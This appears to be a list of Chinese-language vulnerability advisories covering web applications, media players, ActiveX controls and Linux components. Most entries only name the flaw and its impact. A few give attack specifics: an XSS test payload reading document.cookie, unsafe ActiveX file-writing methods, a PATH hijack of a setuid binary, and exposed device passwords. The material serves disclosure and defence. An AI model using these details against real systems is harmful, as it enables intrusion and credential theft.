Vaadin是一个RIA的基于浏览器的富客户端的Web框架。 Vaadin存在跨站脚本漏洞。由于某些传递异常的输入在返回至用户前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Vaadin是一个RIA的基于浏览器的富客户端的Web框架。 Vaadin存在跨站请求伪造漏洞。由于通信协议注入了某些分隔字符，攻击者可以利用漏洞通过HTTP请求（例如，诱使登陆用户访问特制web页面）执行某些操作。
Vaadin是一个RIA的基于浏览器的富客户端的Web框架。 Vaadin存在目录遍历漏洞。由于传递至"AbstractApplicationServlet.serveStaticResourcesInVAADIN()"函数(src/com/vaadin/terminal/gwt/server/AbstractApplicationServlet.java)的输入在被用于服务文件前未能正确验证，攻击者可以利用漏洞通过目录遍历攻击下载部分应用程序或配置文件。
TYPO3是一个免费开源的内容管理系统。TYPO3中jQuery Colorbox扩展存在跨站脚本漏洞。由于某些未明输入在被返回至用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
TYPO3是一个免费开源的内容管理系统。TYPO3中RTG文件扩展存在SQL注入漏洞。由于某些未明输入在被用于SQL查询之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
Ayco Shop存在多个SQL注入漏洞。由于通过"id"参数传递至urundetay.asp,default.asp和linkler.asp的输入在被用于SQL查询之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操作SQL查询。
simpleSAML存在安全漏洞。攻击者可以利用漏洞伪造信息。
simpleSAML存在加密流量解密漏洞。攻击者可以利用漏洞获得敏感信息。
Plici存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意HTML和脚本代码，窃取基于cookie的认证证书并发起其他攻击。
SjXjV存在SQL注入漏洞。由于程序在被用于SQL查询之前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! Techfolio组件存在SQL注入漏洞。由于程序在被用于SQL查询之前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Opera Web Browser是一款开源的WEB浏览器。Opera Web Browser处理包含大量转义序列存在安全问题，攻击者可以构建页面，诱使用户解析，使应用程序崩溃。
D-Link DIR-300是一款无线路由器设备。D-Link DIR-300存在安全漏洞，允许远程攻击者获得任意文件内容。
D-Link DIR-300是一款无线路由器设备。D-Link DIR-300存在安全漏洞，允许远程攻击者执行任意代码。
bzexe是一款可压缩可执行文件的工具。bzexe不安装创建'/tmp/$prog'文件，攻击者可以通过符号链接破坏系统文件，可能导致拒绝服务攻击。
QuickTime是由苹果电脑所开发的一种多媒体架构，能够处理许多的数字视频、媒体段落、音效、文字、动画、音乐格式，以及交互式全景影像的数项类型。Apple QuickTime 7.7.1之前版本在处理特制的Flic视频文件时存在缓冲区溢出漏洞，攻击者可利用此漏洞以当前用户权限执行任意代码，导致应用意外终止。
Winamp是流行的通用音乐播放器。Winamp 5.622在实现上存在多个远程漏洞，远程攻击者可利用这些漏洞执行任意代码或造成拒绝服务。1)在处理Creative Music Format (CMF)标头中的"iOffsetMusic"值时，in_midi.dll插件中存在错误，可被利用通过特制的MIDI文件造成堆缓冲区溢出。2）在处理Advanced Module Format (AMF)标头中的"channels"值时，in_mod.dl插件中存在错误，可被利用通过特制的".amf"文件造成堆缓冲区溢出。3）在处理Nullsoft Streaming Video (NSV)标头中的"toc_alloc"值时，in_nsv.dll插件中存在错误，可被利用通过特制的".nsv"文件造成堆缓冲区溢出。
Uiga Personal Portal存在多个SQL注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Uiga Personal Portal存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
eFront是一套在线学习系统。eFront存在PHP代码注入漏洞，由于通过$_GET['course'] (或$_GET['from_course'])传递的输入在被用于实例化一个新的EfrontCourse对象前未能正确过滤，攻击者可以利用漏洞注入并执行任意PHP代码。
eFront是一套在线学习系统。eFront存在验证绕过漏洞，由于通过$_COOKIE['cookie_login']传递的输入在被用于实例化一个新用户对象前未能正确过滤，攻击者可以利用漏洞绕过验证，提升特权。
eFront是一套在线学习系统。eFront存在SQL注入漏洞，由于通过$_GET['sent_notification_id']传递的输入，在被用于调用eF_getTableData()方法前未能正确过滤，攻击者可以利用漏洞注入任意SQL代码。
eFront是一套在线学习系统。eFront存在SQL注入漏洞，由于通过$_GET['view_unit']传递的输入，在被用于调用eF_getTableData()方法前未能正确过滤，攻击者可以利用漏洞注入任意SQL代码。
eFront是一套在线学习系统。eFront存在SQL注入漏洞，由于通过$_GET['HTTP_REFERER']传递的输入被传递至getUserTimeTarget()函数，并且返回值被用于调用eF_executeNew()，攻击者可以通过请求此类URL注入任意SQL代码。
eFront是一套在线学习系统。eFront存在文件上传漏洞，攻击者可以利用漏洞上传任意代码。
eFront是一套在线学习系统。eFront存在远程代码执行漏洞，由于通过$_POST['templateName']和$_POST['templateContent']传递的输入在使用前未能过滤，攻击者可以利用漏洞在文件中写入任意PHP代码。
phpLDAPadmin是一款基于Web的LDAP管理工具，用于管理LDAP服务器的各个方面。phpLDAPadmin存在文件包含漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在WEB服务器上下文中运行恶意PHP代码，允许攻击者危及应用程序和底层系统。
Drupal是一款开源的内容管理平台。Organic groups是Drupal的一个模块。Drupal Organic groups模块存在安全绕过漏洞，由于程序未能正确限制访问组上下文的某些实体，攻击者可以利用漏洞操纵实体。
Trend Micro InterScan Web Security Suite由于执行某些操作时setuid/setgid root/opt/trend/iwss/data/patch/bin/patchCmd二进制文件中存在错误，攻击者可以通过在CWD中创建PatchExe.sh或RollbackExe.sh脚本，执行二进制文件来获取root权限。
SPIP是一基于Web的内容发布系统。SPIP存在SQL注入漏洞。由于应用程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库潜在的漏洞。
Winamp是一款流行的媒体播放器。Winamp处理Nullsoft Streaming Video (NSV)头中的"toc_alloc"值时in_nsv.dll插件存在错误，构建特制.nsv文件可触发基于堆的缓冲区溢出。
Winamp是一款流行的媒体播放器。Winamp处理Advanced Module Format (AMF)头中的"channels"值时in_mod.dll插件存在错误，构建特制.amf文件可触发基于堆的缓冲区溢出。
Winamp是一款流行的媒体播放器。Winamp处理Creative Music Format (CMF)头中的"iOffsetMusic"值时in_midi.dll插件存在错误，构建特制MIDI文件可触发基于堆的缓冲区溢出。
Toshiba e-STUDIO是东芝公司推出的一体机。从各种配置页面的HTML源代码中可获得密码信息，如：http://IP Address/TopAccess/Administrator/Setup/ScanToFile/List.htm<td nowrap”"> Password <input ID=”Password3″ type=”password” value=”Password1″ onfocus=” if (this.disable) this.blur();” maxlength=”32″ 利用这些密码信息可访问文件服务器，LDAP系统等。
KaiBB是一个免费开源的公告板系统，采用面向对象PHP技术开发。KaiBB存在跨站脚本漏洞。由于通过"Referer" HTTP头传递至index.php和acp/index.php的输入在被返回至用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Outlook Web Access（简称OWA）是基于微软Hosted Exchange技术的托管邮局的一项Web访问功能。Microsoft Outlook Web Access存在安全绕过漏洞，允许攻击者通过重放攻击劫持网络会话或绕过验证，并获得受害者的电子邮件帐户访问权限。
Online Subtitles Workshop存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，允许攻击者在受影响的浏览器上下文执行HTML和脚本代码，窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
Pre Studio Business Cards Designer存在SQL注入漏洞。由于应用程序在被用于SQL查询前未能充分过滤用户提供的输入，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中的漏洞。
NexusPHP存在SQL注入漏洞，由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Presta2PhpList存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
vtiger CRM是基于web的开源客户关系管理系统。 vtiger CRM存在多个跨站脚本漏洞。由于程序未能正确滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证并发起其他攻击。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla YJ Contact us组件存在本地文件包含漏洞。由于通过"view"参数传递到index.php的输入（当"option"设置为"com_yjcontactus"时）在被用于包含文件之前未被正确验证，攻击者可以通过目录遍历攻击和URL-encoded空字节，从本地资源包含任意文件。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress ThemeCity主题存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件NextGEN Gallery存在跨站请求伪造漏洞，由于应用程序允许用户通过没有执行有效检查的HTTP请求执行某些操作来验证请求，攻击者可以在用户登陆某些特制网页时，删除某些标记。
WordPress是一款使用PHP语言开发的内容管理系统。 WordPress插件NextGEN Gallery存在跨站脚本漏洞，由于通过'search'参数传递到Input wp-admin/admin.php (当"page"设置为"nggallery-tags")的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
OpenEMR是一款医疗管理系统，可用于医疗实践管理，电子病历，处方书写和医疗帐单申请。OpenEMR存在SQL注入漏洞。由于应用程序在SQL查询使用前没有正确过滤用户提供的输入。攻击者可以利用漏洞以应用程序访问或修改数据，或利用底层数据库中的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Chennai Theme存在跨站脚本漏洞，由于通过's'参数传递到index.php的输入在wp-content/themes/chennai/search.php中返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
XAMPP是一个适用于Linux、Windows、Mac OS X和Solaris的易于安装的Apache发行版。XAMPP提供的ming.php和cds.php不正确过滤用户提交的输入，可导致跨站脚本攻击，攻击者可以构建恶意链接，诱使用户访问，获得敏感信息。
Trendmicro IWSS可在网关处针对基于Web方式的攻击为企业网络提供动态的、集成式的安全保护。Trendmicro IWSS存在安全漏洞，允许攻击者获得root访问。程序"patchCmd"设置了相应的"setuid"和"setgid"允许所有用户执行，代码在system()前执行setuid(0)允许执行过程中获取ROOT权限而无需用户相应权限。根据'patchCmd'的输入参数system()调用两个脚本："./PatchExe.sh"和"./RollbackExe.sh" 可以看到字符串"./"表示执行在当前目录，攻击者通过在其他PATH创建任意脚本以ROOT权限执行。
IBM WebSphere ILOG是一款业务规则管理系统。IBM WebSphere ILOG Rule Team Server是一个基于Web的规则管理和授权环境，它允许业务用户查看、创建和修改规则。IBM WebSphere ILOG Rule Team Server content/error.jsp存在一个未明跨站脚本漏洞，允许攻击者构建恶意链接，诱使用户解析，可获得敏感信息或劫持用户会话。
Linux是一款开放源代码的操作系统。Linux内核XFS文件系统实现"xfs_readlink()"函数(fs/xfs/xfs_vnodeops.c)处理路径名超过MAXPATHLE的链存在缓冲区溢出，编译linux内核时没有启用CONFIG_XFS_DEBUG配置选项的情况下，攻击者可以挂接恶意XFS映像，利用此缺陷使系统崩溃，也可能提升特权。
Linux是一款开放源代码的操作系统。GHASH算法实现存在空指针引用错误，通过特制的应用程序可使系统崩溃。如果未调用ghash_setkey或者最近调用ghash_setkey分配内存失败，ghash_update函数传递空指针给gf128mul_4k_lle，可导致oops。
fims存在SQL注入漏洞。由于应用程序在被用于SQL查询之前未能正确过滤用户提供的输入，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
fims存在任意文件下载漏洞。由于应用程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在web服务器进程上下文下载任意文件，获取的信息可能有助于进一步攻击。
Jara存在跨站脚本漏洞，由于通过'term'参数传递到search.php的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! Freestyle FAQs和Testimonials组件存在SQL注入漏洞，由于某些未明输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操作SQL查询。
Innovate Portal存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意HTML和脚本代码，窃取基于cookie的认证证书并发起其他攻击。
PacketFence存在跨站脚本漏洞，由于通过'p'参数传递到html/admin/login.php的输入，在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
Alsbtain Bulletin存在安全漏洞，由于通过'act'参数传递到index.php的输入在被用于包含文件前未能正确验证，攻击者可以利用漏洞通过目录遍历和URL-encoded NULL字节从本地资源包含任意文件。
Wing FTP Server是一款FTP服务程序。Wing FTP Server相关HTTP协议存在安全漏洞，允许恶意用户获得敏感信息。
OpenStack是由Rackspace和NASA共同开发的云计算平台，帮助服务商和企业内部实现类似于Amazon EC2和S3的云基础架构。OpenStack Nova存在安全绕过漏洞，攻击者利用此漏洞可通过中间人攻击获得'EC2_SECRET_KEY'信息。
BlueZone Desktop是一款多功能桌面终端模拟器。BlueZone Desktop不正确处理特殊构建的'.ztf'文件，攻击者可以利用此漏洞构建恶意文件，诱使用户解析，使应用程序崩溃。
BlueZone Desktop是一款多功能桌面终端模拟器。BlueZone Desktop不正确处理特殊构建的'.zmp'、'.zmd'、'.zvt'、'.zad'文件，攻击者可以利用此漏洞构建恶意文件，诱使用户解析，使应用程序崩溃。
TYPO3是一个免费开源的内容管理系统。TYPO3 pmkshadowbox和pmkslimbox存在跨站点脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点上下文执行任意HTML和脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
CMS Mini存在目录遍历漏洞。由于程序未能充分过滤用户提供的输入数据，攻击者可以利用漏洞获取敏感信息。
Splunk是一个运行于Unix环境下的日志分析软件。Splunk存在跨站点脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据，并发动其他攻击。
Moodle是一款开放源代码的网络教学应用程序。Moodle message/refresh.php存在错误，由于通过为'wait'参数提供一个零值，导致程序拒绝服务。
Moodle是一款开放源代码的网络教学应用程序。Moodle表单存在错误，攻击者可以利用漏洞操作某些恒定的表单值。
Moodle是一款开放源代码的网络教学应用程序。Moodle存在安全漏洞，由于应用程序允许用户通过没有执行有效检查的HTTP请求执行某些操作来验证请求，攻击者可以在用户登陆某些特制网页时，执行某些操作。
Moodle是一款开放源代码的网络教学应用程序。Moodle存在安全漏洞，由于关于wiki comments的某些输入在被使用前未能正确过滤，攻击者可以利用漏洞插入HTML或脚本代码，当恶意数据被查看时，将在受影响站点上下文的用户浏览器会话中执行。
Cytel Studio是一款医疗研究管理用途的软件。Cytel Studio 9.0容易产生缓冲区溢出漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Moodle是一款开放源代码的网络教学应用程序。Moodle存在安全漏洞，由于传递到'section'参数的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
Moodle是一款开放源代码的网络教学应用程序。Moodle category和course areas of the server文件存在错误，攻击者可以利用漏洞泄露文件信息。
BlueZone是一个基于IBM主机（3270），iSeries(5250)和UNIX/DEC(VT)的Web-to-host和桌面终端仿真器。BlueZone Malformed.zft文件容易产生一个本地拒绝服务漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，成功的攻击可能导致拒绝服务。
Moodle是一款开放源代码的网络教学应用程序。Moodle存在安全漏洞，Box.net插件未能实现应用程序的OAuth认证功能。
Moodle是一款开放源代码的网络教学应用程序。Moodle存在安全漏洞，由于安装过程中的错误，关于community hubs的保密值未被设置。
Moodle是一款开放源代码的网络教学应用程序。Moodle存在安全漏洞，由于关于course section editing的某些数据在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Moodle是一款开放源代码的网络教学应用程序。Moodle存在未明安全漏洞，攻击者可以利用漏洞披露用户的用户名。
osCommerce是一款开放源代码的电子商务程序。osCommerce存在文件泄露漏洞。由于应用程序未能充分过滤用户提供的输入，攻击者可以利用漏洞获得任意文件的内容。
Moodle是一款开放源代码的网络教学应用程序。Moodle Cookie-less会话存在安全漏洞，攻击者可以利用漏洞绕过安全限制。
osCommerce是一款开放源代码的电子商务程序。osCommerce存在远程文件上传漏洞。由于应用程序未能充分过滤用户提供的输入，攻击者可以利用漏洞上传文件。
Moodle是一款开放源代码的网络教学应用程序。MNET功能中的"openssl_verify()"函数的返回代码未能被正确处理，攻击者可以利用漏洞绕过SSL证书验证。
TYPO3是一个免费开源的内容管理系统。TYPO3 pmkshadowbox和pmkslimbox存在任意文件下载漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在Web服务器进程上下文下载任意文件。
Moodle是一款开放源代码的网络教学应用程序。Moodle聊天功能存在漏洞，允许聊天用户枚举用户的全名。
wizmall是一款网店系统。wizmall存在文件泄露漏洞，由于传递到wizboard/download.php中"UID"和"filename"参数的输入在被用于下载文件前未能正确验证，攻击者可以利用漏洞从本地资源下载任意文件。
wizmall是一款网店系统。wizmall存在文件泄露漏洞，由于传递到lib/img.php中"folder"参数的输入在被用于显示文件前未能正确验证，攻击者可以利用漏洞从本地资源显示任意文件。
Tine是一个基于Web的群件解决方案，侧重于实用性和正确性。Tine存在多个跨站脚本漏洞。由于程序未充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点上下文执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
Skype是一款流行的P2P VoIP软件，可提供高质量的语音通讯服务。Skype存在远程缓冲区溢出漏洞。由于程序未能对户提供的数据进行充分的边界检查，攻击者可以利用漏洞以应用程序上下文执行任意代码。上述攻击未执行成功也可导致拒绝服务。
wizmall是一款网店系统。wizmall存在SQL注入漏洞，由于传递到wizboard/download.php中'UID'参数的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
wizmall是一款网店系统。wizmall存在SQL注入漏洞，由于传递到wizboard/skin/sandle_photo/print.php中'BID'参数的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
OpenEMR是一款医疗管理系统，可用于医疗实践管理，电子病历，处方书写和医疗帐单申请。OpenEMR存在多个SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
SAP Management Console是一款SAP产品的管理控制台。通过向SAP管理控制台SOAP接口发送特制请求，可以应用程序上下文执行任意命令。要成功利用漏洞需要提供合法的用户名和密码。
Oracle AutoVue是一款多用途、多功能的图文浏览、标注、协同作业的应用软件。Oracle AutoVue会安装如下ActiveX控件：ProgID: AUTOVUEX.AutoVueXCtrl.1CLSID: {B6FCC215-D303-11D1-BC6C-0000C078797F}Binary path: C:\PROGRA~1\av\avwin\AutoVueX.ocx初始化安全(registry): true脚本安全(registry): true上面的类包含不安全Export3DBom()方法：.../* DISPID=108 *//* VT_BOOL [11] */function Export3DBom(/* VT_BSTR [8]  */ $sFileName ){}...其允许在任意位置创建/覆盖任意扩展的文件，如在启动文件夹中，通过操作此方法参数可创建.cmd扩展的合法应用程序。
Oracle AutoVue是一款多用途、多功能的图文浏览、标注、协同作业的应用软件。Oracle AutoVue会安装如下ActiveX控件：ProgID: AUTOVUEX.AutoVueXCtrl.1CLSID: {B6FCC215-D303-11D1-BC6C-0000C078797F}Binary path: C:\PROGRA~1\av\avwin\AutoVueX.ocx初始化安全(registry): true脚本安全(registry): true上面的类包含不安全ExportEdaBom()方法：...Function ExportEdaBom ( ByVal sFileName  As String ,  ByVal sFormat  As String ,  ByVal bCurPage  As Boolean ,  ByVal sAttributes  As String )  As Boolean...其允许在任意位置创建/覆盖任意扩展的文件，如在启动文件夹中，通过操作此方法参数可创建.hta扩展的合法应用程序。
zFTP Server是一款FTP服务程序。zFTP Server不正确处理'cwd/stat'命令，远程攻击者可以利用漏洞对服务程序进行拒绝服务攻击。
McAfee Web Gateway是一款用于防护Web 2.0威胁的恶意软件防护解决方案。McAfee Web Gateway WEB接口不正确过滤用户提供的输入，可导致跨站脚本漏洞。攻击者可以构建恶意链接，诱使用户解析，获得敏感信息或劫持用户会话。
Cyclope Internet Filtering Proxy可监视整个网络流量可以根据选择的过滤条件拦截对网站和文件的访问。当处理某些请求时存在错误，向TCP 8585端口发送超长请求可使CEPMServer模块崩溃，造成拒绝服务。
Opera为来自挪威的一个极为出色的浏览器，具有速度快、节省系统资源、订制能力强、安全性高以及体积小等特点，目前已经是最受欢迎的浏览器之一。Opera浏览器在实现上存在远程内存破坏漏洞，可导致执行任意代码。
SportsPHool存在远程文件包含漏洞，攻击者可以利用漏洞在Web服务器进程上下文中，包含并执行任意包括恶意PHP代码的远程文件。
TYPO3是一个免费开源的内容管理系统。TYPO3 pdf_generator2扩展存在远程文件泄露漏洞，攻击者可以利用漏洞在Web服务器中访问文件。
TYPO3是一个免费开源的内容管理系统。TYPO3 pdf_generator2扩展存在远程执行命令漏洞，攻击者可以利用漏洞在Web服务器中执行任意命令。
phpLDAPadmin是一款基于Web的LDAP管理工具，用于管理LDAP服务器的各个方面。phpLDAPadmin 1.2.1.1容易产生一个远程PHP代码注入漏洞。攻击者可以利用这个问题通过远程PHP代码注入，在服务器上执行任意恶意代码达到攻击的目的。       远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
InverseFlow存在跨站请求伪造漏洞，远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
phpLDAPadmin是一款基于Web的LDAP管理工具，用于管理LDAP服务器的各个方面。phpLDAPadmin 0.9.4b存在拒绝服务漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。
Pre Studio Business Cards Designer存在SQL注入漏洞，由于通过"id"参数传递到prestudio/page.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
Oracle AutoVue是一款多用途、多功能的图文浏览、标注、协同作业的应用软件。Oracle AutoVue会安装如下ActiveX控件：ProgID: AUTOVUEX.AutoVueXCtrl.1CLSID: {B6FCC215-D303-11D1-BC6C-0000C078797F}Binary path: C:\PROGRA~1\av\avwin\AutoVueX.ocx初始化安全(registry): true脚本安全(registry): true上面的类包含不安全SaveViewStateToFile()方法：.../* DISPID=116 *//* VT_BOOL [11] */function SaveViewStateToFile(/* VT_BSTR [8]  */ $sFileName ){}...其允许在任意位置创建/覆盖任意扩展的文件。
Elgg是开源的社交网络平台。Elgg存在SQL注入漏洞，通过"limit"参数传递到pg/search的输入在mod/search/search_hooks.php中被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
Opera Web Browser是一款开源的WEB浏览器。漏洞是由于引用了一个悬挂指针(dangling pointer)而导致内存访问冲突，演示的程序中包含在'em'和'strong' HTML元素上执行DOM操作的JavaScript crash()函数，这些操作可导致一个悬挂指针。当在堆中快速大量分配内存时可触发这个崩溃。
NSS实现SSL v2/v3, TLS, PKCS#5, PKCS#7, PKCS#11, PKCS#12, S/MIME, X.509v3证书和其他安全标准。由于"NSS_NoDB_Init()"函数不正确构建"pkcs11.txt"配置文件的文件路径，当配置文件从WebDAV或SMB共享中装载时，利用此漏洞可通过"library"指令可装载任意安全模块。成功利用漏洞可以以应用程序上下文执行任意代码。
Linux是一款开放源代码的操作系统。ext4_ext_insert_extent()处理extents存在安全缺陷，当系统使用EXT4时，非特权用户可利用此缺陷使系统崩溃。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Simple:Press Forum在实现上存在多个安全漏洞，可造成代码执行和泄露完全路径。
WordPress是一款使用PHP语言开发的内容管理系统。Wordpress Zingiri Web Shop 2.2.0以前的版本在实现上存在远程文件包含漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。
WordPress是一款使用PHP语言开发的内容管理系统。Wordpress Mailing List 1.3.2在实现上存在远程文件包含漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。
phpMyAdmin是一个用PHP编写的，可以通过web方式控制和操作MySQL数据库。phpMyAdmin的phpmyadmin.css.php脚本实现上存在输入验证问题，远程攻击者可能利用此漏洞获取服务器相关的敏感信息。phpmyadmin.css.php中的js_frame参数缺乏足够的输入验证，可被利用泄露信息。如果js_frame参数定义为数组，脚本会在返回的错误信息中包含完整路径。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla!的com_jfuploader组件没有有效过滤用户提供的输入，可使攻击者在Web服务器进程中上传任意文件，造成非法访问或权限提升。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla!在实现上存在多个漏洞，可被恶意用户利用泄露敏感信息。1）弱口令错误可被利用泄露敏感信息；2）无效的错误检查科被利用泄露敏感信息。
Shopex是网上商店平台软件系统又称网店管理系统、网店程序、网上购物系统、在线购物系统。Shopex在密码找回功能的实现上存在设计问题，导致可以预测新生成的密码，可能被用来攻击获取他人密码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件WP Photo Album Plus存在SQL注入漏洞，由于通过"wppa-album"参数传递到inde.php（当"page_id"或"p"被设置）的输入在被用于SQL前未能正确过滤，攻击者可以利用漏洞通过操作SQL查询执行任意SQL代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件WordPress Users存在SQL注入漏洞，由于通过'uid'参数传递到index.php（当'P'设置为显示用户目录的页面ID）的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
Cyclope因特网过滤代理是监视整个网络流量并阻止对网站访问和文件根据所选择的过滤器。Cyclope因特网过滤代理存在跨站脚本漏洞，这是因为基于web的管理控制台没有严格地进行过滤，可在<user>USER</user><computer>COMPUTER</computer><ip>IP ADDY</ip>中注入恶意的代码，导致跨站脚本攻击。攻击者可利用此漏洞发起其他攻击。
aSgbookPHP是一款基于文件的记事薄。aSgbookPHP存在跨站脚本漏洞，由于追加到index.php之后的URL的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML或脚本代码。
Splunk是一个运行于Unix环境下的日志分析软件。Splunk Web组件中的prototype/segmentation_performance存在边界错误，可被利用消耗系统资源，造成服务不可访问。
Oracle DataDirect是一款高性能商业的数据访问组件。多个产品安装驱动以允许软件从ODBC数据源中获得信息，部分产品存在远程基于栈的缓冲区溢出，在连接字符串中指定超长HOST属性，arsqls24.dll进行unicode/ASCII转换时可触发溢出。成功利用漏洞可以以运行软件上下文执行任意代码。
MetaSploit Framework是一款开源渗透测试工具软件集合包。Metasploit 4.1.0 Web UI "project[name]"参数存在跨站脚本漏洞，登录到Web UI，创建新项目，输入'"</script><script>alert(document.cookie)</script>作为项目名可触发。
IBM WebSphere Application Server (WAS)是由IBM遵照开放标准，例如Java EE, XML 还有Web Services，开发并发行的一种应用服务器。XML Web Services (JAX-WS)应用程序中启用WS-Security策略的Java API存在未明错误。目前没有详细漏洞细节提供。
Cyclope Internet Filtering Proxy可监视整个互联网通讯并且可以根据选择的过滤条件拦截对网站和文件的访问。基于WEB的管理控制台对输入缺少充分过过滤，存在跨站脚本漏洞。如白名单和黑名单模式受此漏洞影响。以正确顺序向默认记录端口8585发送恶意脚本代码<user>USER</user><computer>COMPUTER</computer><ip>IP ADDY</ip>\n，由于没有任何过滤，可导致XSS攻击。
WHMCS是将网上业务的所有功能于一体的客户端管理、计费和支持解决方案。WHMCompleteSolution容易产生一个本地文件泄露漏洞。攻击者可以利用这个问题在在受影响的计算机上执行任意代码达到攻击的目的。
IRAI AUTOMGEN是一款工业控制仿真软件。IRAI AUTOMGEN由于对某些文件的处理不够严密容易产生漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。       远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
Linux-PAM是一款基于Linux的插入式验证模块。pam_motd以root权限调用/etc/update-motd.d/中的脚本没有对环境变量进行过滤，当调用shhd或者getty进行登录时其环境变量可控，对变量没有过滤可以接收，但如果把"session optional pam_motd.so"增加到/etc/pam.d/su中时就存在安全问题。如上情况下，用户可以简单的更新他的$path变量，以在包含替换了/etc/update-motd.d/脚本调用命令(如00_header调用的"uname")的目录中最开始搜寻，并执行恶意命令。造成特权提升。
Microsoft Windows是一款流行的操作系统。多用户windows环境存在安全漏洞，可对任意域进行本地DNS缓存毒药攻击。此漏洞允许非管理员账户的普通用户触发，对系统的其他用户进行攻击。成功利用此漏洞可导致信息泄露，特权提升，跨站脚本等攻击。
Novell ZENworks Configuration Management是一款帮助客户降低IT拥有成本的桌面管理软件。Novell help.Dall ActiveX控件相关启动进程功能存在未明错误，允许攻击者执行任意代码。目前没有详细细节提供。
